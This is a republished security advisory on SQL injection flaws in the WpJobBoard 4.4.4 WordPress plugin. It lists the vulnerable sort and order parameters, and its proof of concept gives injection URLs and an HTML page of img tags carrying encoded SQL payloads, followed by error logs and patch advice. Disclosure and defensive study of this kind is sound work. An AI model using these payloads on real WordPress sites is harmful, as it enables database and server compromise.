WordPress WpJobBoard 4.4.4 SQL Injection

WordPress WpJobBoard plugin version 4.4.4 suffers from a remote SQL injection vulnerability.


MD5 | 3fee0762cf15dddb829c9979f9a9fb06

Document Title:
===============
WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1940


Release Date:
=============
2018-01-06


Vulnerability Laboratory ID (VL-ID):
====================================
1940


Common Vulnerability Scoring System:
====================================
6


Vulnerability Class:
====================
SQL Injection


Product & Service Introduction:
===============================
WPJobBoard is bundled with 15+ shortcodes, allowing you to easily build completely unique job board and insert additional
features only when you need it and only where you see fit. WPJobBoard doesnat limit your website to just a job board.
Along with WPJB, you can still maintain a blog and take advantage of all the other features WordPress and its plugins
and themes offer. You can keep your community and your blog, but you can add a professional job board.

(Copy of the Vendor Homepage: https://wpjobboard.net/features/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple sql-injection vulnerabilities in the WpJobBoard v4.4.4 wordpress web-application plugin.


Vulnerability Disclosure Timeline:
==================================
2018-01-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
WpJobBoard
Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.4.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple remote sql-injection web vulnerabilities has been discovered in the WpJobBoard v4.4.4 wordpress web-application plugin.
The vulnerability allows remote attackers to inject own malicious sql commands to compromise the database management system.

The sql-injection web vulnerabilities are located in the `order` and `sort` parameters of the `wpjb-job` and `wpjb-alerts` module
GET method requests. Remote attackers are able to execute sql commands by performing client-side GET method requests with malicious
statements via admin.php file. The request method to inject/execute is GET and the attack vector of the issue is located on the
application-side in the insecure request statement. The issue can be exploited by privileged wp user accounts without user interaction.

The security risk of the sql web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] wpjb-job
[+] wpjb-alerts

Vulnerable File(s):
[+] admin.php

Vulnerable Parameter(s):
[+] sort
[+] order


Proof of Concept (PoC):
=======================
The sql-injection vulnerability can be exploited by remote attackers without user interaction and with privileged web-application user account.
For security appnstration or to reproduce the security web vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=xml&sort=[SQL-INJECTION VULNERABILITY!]&order=asc
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=[SQL-INJECTION VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=[SQL-INJECTION VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=[SQL-INJECTION VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=[SQL-INJECTION VULNERABILITY!]&order=asc


PoC: Exploit Code
<html>
<head><body>
<title>WPJOBBOARD SQL INJECTION PoC</title>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index
&filter=xml&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
</body></head>
</html>


--- PoC Error Exception Logs ---
Fatal error: Uncaught exception
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
-
Fatal error: Uncaught exception 'wp_wpjb_job' with message
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


Reference(s):
https://wp-jobboard.localhost:8080/
https://wp-jobboard.localhost:8080/wp-admin/
https://wp-jobboard.localhost:8080/wp-admin/admin.php
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the vulnerable sort and order parameters in the web-applicatoon GET method request.
Disallow the usage of special chars to prevent malicious inputs and use a prepared statement to resolve the sql-injection vulnerability.
Disallow to display errors by default configuration and include an exception-handling to cover further malicious attacks.


Note: The sql-injections has been prevented in the version 4.9.1 up to the latest released version 5.1 of the wpjobboard wordpress web-application plugin.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerabilities in the wpjobboard web-application is estimated as high (CVSS 6.0).


Credits & Authors:
==================
Vulnerability-Lab [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

Related Posts